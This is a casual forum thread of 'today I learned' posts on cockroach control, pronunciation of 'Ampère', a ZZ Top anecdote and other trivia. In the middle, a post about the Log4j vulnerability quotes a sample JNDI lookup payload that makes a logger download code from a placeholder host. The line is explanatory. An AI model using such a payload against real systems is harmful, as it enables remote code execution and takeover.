Today I Learned

[kyphysics]

I guess my point was, I've seen cockroaches that can shrug off being stomped on. I thought perhaps you lived in a land where cockroaches are made of lace and cotton candy.

Yes and no. If you bash a roach with a swift flyswatter move, you can bash off a leg or two. I will say that I use mothballs as well. So, they are probably a bit poisoned already. Normally, they are very fast (one of the fastest living things on Earth). But, mothballs slowly poison them and they start slowing down. They may be extra vulnerable after being poisoned and a swat or two with the flyswatter stops them. Then, I take a paper towel and finish it off (squeeze it to death).

You are correct that many (perhaps not all, however) roaches can survive being crushed. I've had many experiences bashing them with paper towels only to lift it up and have it run off at warp speed.

 

[BillTre]

I have worked with professionals to remove roaches:

Baited poisons work well with roaches (if you don't have pets or children that might get into it.
You can get sticky traps or make them by balling up very sticky tape, like packing tape. They stick there are dry out of starve.
Remove access to places they hid and breed. They like dark and moist places. Seal seams in walls tey might be hiding behind.

They are difficult to crush and can squeeze through very tiny cracks.

 

[Tom.G]

Also Boric Acid powder works quite well against roaches.
See: https://www.physicsforums.com/posts/6302541
and the two posts that follow it.

A few years ago, we had an infestation that was a bit hard to localize. We finally found them in a gap between the kitchen countertop and the plywood support under it. We used a bellows-type puffer (sprayer?) to blow Boric Acid powder into the space. After some time (a couple hours?) we had half a dozen or so dying roaches out on the floor. (The wife didn't much appreciate that part!) Don't know how many didn't make it that far, but they haven't returned.

Another tip:
If the beasties appear generally rather than localized, they may be getting in thru the gap between the wall and the floor. I know, you can't SEE any gap but it is usually there. Sprinkle some Boric Acid where ever a vertical surface meets a horizontal one. Severe cases (like in the Arizona Desert), some gets sprinkled across all doorways too.

Have Fun!
Tom

 

[Frabjous]

I have seen roaches from 0.5 inch to 2 inch. I have tried swatters with 1 inch. The swatter merely slows them down so you can stomp them.

 

[pinball1970]

I have seen roaches from 0.5 inch to 2 inch. I have tried swatters with 1 inch. The swatter merely slows them down so you can stomp them.

They make my skin crawl. That post made my skin crawl a little bit

 

[jbriggs444]

They make my skin crawl. That post made my skin crawl a little bit

Quick, somebody get a swatter. He has roaches under his skin.

Better now?

 

[pinball1970]

Quick, somebody get a swatter. He has roaches under his skin.

Better now?

Took my mind off roaches yes.

 

[gmax137]

When I lived in Florida we called them "Palmetto Bugs." Tennis racquets were sometimes effective. I think they would grab a flyswatter out of your hands and use it against you

 

[pinball1970]

TIL Brain surgeons are about the same level as rocket scientists for the smarts

A fun article in the xmas edition of the BMJ

https://www.sciencealert.com/resear...rgeons-against-each-other-in-a-battle-of-wits

Would you say rocket scientists have to think as deeply as cosmologists? QFT/QM guys? mathematicians?

Sheldon rated Engineers, geologists, biologists way down on his serious thinker list

Perhaps I should start a thread?

Light hearted of course.

 

[DaveC426913]

When I lived in Florida we called them "Palmetto Bugs." Tennis racquets were sometimes effective. I think they would grab a flyswatter out of your hands and use it against you

Yeah. Ran into these guys on a trip to Carolinas where we stayed in a cabin. They're huge, but soft.
Domestic-grade, not military-grade cockroaches, IMO.

 

[BWV]

In the South you learn to be somewhat relived at the big 1-2" American roaches as they come in from outside and you hardly ever see more than one or two at a time

The small German roaches breed in massive numbers in the house and are a much greater problem

 

[pinball1970]

In the South you learn to be somewhat relived at the big 1-2" American roaches as they come in from outside and you hardly ever see more than one or two at a time

The small German roaches breed in massive numbers in the house and are a much greater problem

Every one ignored my very deliberate, justified and amusing Segue from insects to something else.
I put effort in.

 

[jack action]

TIL this story about Billy Gibbons (from ZZ Top):

Billy Gibbons: “We never had anything but admiration for the blues giants,” “Dusty, Frank and I, we shared so much of the same influences, but we never said that we’re going to rescue the blues. We didn’t do that.”

My dad was an entertainer. When I was seven years old he said, ‘Listen, hop in the car. I want to take you with me. I’ve got business to take care of at the recording studio.’ We went into the studio, he parked me in a chair and said, ‘You’ll probably like this, they’re recording a band. I’ll be in the office if you need me…’ It turned out to be a BB King recording session. So, between seeing Elvis Presley and BB King I thought, ‘Man, this is it. This is for me!’”

“50 years later, B.B. King was being celebrated by a group of musicians,” he continues. “They were putting a CD together, a tribute to B.B. King with him performing with a host of different entertainers, and I got invited to be on the record. I showed up at the studio and BB said, ‘Do you know the song we’re going to do today?’ I said, ‘Yes, sir. “Tired of Your Jive.” I was there when you recorded it.’ He goes ‘No, that was 1957.’ I said ‘I was there’ and he said, ‘You the little boy sitting in the chair?’”

 

[kyphysics]

https://www.yahoo.com/finance/news/...acting-nearly-all-the-internet-222332341.html

A major cybersecurity vulnerability is impacting nearly all of the internet, sending everything from financial institutions to government entities scrambling to patch their systems, before cybercriminals and nation states can launch cyberattacks.

Known as the Log4j vulnerability, the flaw impacts a piece of open-source logging software that allows developers to understand how their programs function. The idea is to help companies understand potential bugs or performance issues in their own software.

But Log4j, which is part of the software offered by the open source Apache Software Foundation, can be exploited to allow attackers to take over the computers and networks of any organization running the program.

 

[mfb]

It's surprising how obvious the attack method is and how long it took to be found. You basically write "please download this file" in the text to be logged, and it will do that - intentionally.

${jndi:ld[/color]ap://example.com/maliciouscode}

 

[pbuk]

Today I learned that "Ampier" is an acceptable pronunciation in the US for the SI unit named after the Frenchman André-Marie Ampère.

How would you like it if we taked about "Benzhaman Fronklan"? Do you call the guy that brings you presents "Pier Nole"?

 

[DaveC426913]

...an acceptable pronunciation in the US...

There's a can o' worms alright.

House-flipping shows are a staple in our house, but I still cringe every time they enter the front door into the "foyur".

 

[Ibix]

Today I learned that "Ampier" is an acceptable pronunciation in the US for the SI unit named after the Frenchman André-Marie Ampère.

Weird. It sounds like a comparison - a 3A current is Ampier than a 2A one...

 

[fresh_42]

There's a can o' worms alright.

House-flipping shows are a staple in our house, but I still cringe every time they enter the front door into the "foyur".

Aren't you supposed to know it right in Canada?

 

[fresh_42]

Weird. It sounds like a comparison - a 3A current is Ampier than a 2A one...

Maybe the Americans want their empire, too.

 

[BillTre]

How would you like it if we taked about "Benzhaman Fronklan"? Do you call the guy that brings you presents "Pier Nole"?

I have had my name mispronounced so many times.
No longer care.

 

[DaveC426913]

Aren't you supposed to know it right in Canada?

It's pronounced 'foyay'.

 

[fresh_42]

It's pronounced 'foyay'.

There is absolutely no way to talk about pronunciation in English. Not even English.

 

[Ibix]

There is absolutely no way to talk about pronunciation in English. Not even English.

Sure there is - there's a special alphabet for it. You can't do it without, though. A Scot once asked me (an Englishman) to pronounce paw, pour, and poor. I say them exactly the same. He pronounced each vowel distinctly...

 

[fresh_42]

Sure there is - there's a special alphabet for it.

An international one, that has nothing to do with English.

You can't do it without, though. A Scot once asked me (an Englishman) to pronounce paw, pour, and poor. I say them exactly the same. He pronounced each vowel distinctly...

Scots are closer to a correct pronunciation than the rest.

I like to annoy Americans by pronouncing Montreal correctly.

 

[pbuk]

I have had my name mispronounced so many times.
No longer care.

I have often wondered: is it like filtre (Fr), BillTré (Fr) or even BillTree (En)?

 

[Ibix]

Scots are closer to a correct pronunciation than the rest.

Nah, my pronunciation is correct and everyone else has a funny accent.

I have often wondered: is it like filtre (Fr), BillTré (Fr) or even BillTree (En)?

I admit I'd assumed Tre was a short version of something and not thought about it. I'm curious too (full disclosure: I pronounce it Tré in my head).

 

[BillTre]

I have often wondered: is it like filtre (Fr), BillTré (Fr) or even BillTree (En)?

I admit I'd assumed Tre was a short version of something and not thought about it. I'm curious too (full disclosure: I pronounce it Tré in my head).

Its a truncated version of my last name (Trevarrow (often mispronounced)).
For my pseudonym for PF I wanted BillT (pronounced built!), but I think that was taken, so it is BillTre (Tre as in tree). However, if someone wants to say it otherways, OK with me.
A tree, by any other name, would still smell the same.

 

[Keith_McClary]

How to Pronounce André-Marie Ampère​

by Julien the Frenchman.

 

[Janus]

TIL that the modern American image of Santa Claus was created by a Finnish American. Quite fitting considering that Finland claims to be where Santa actually lives.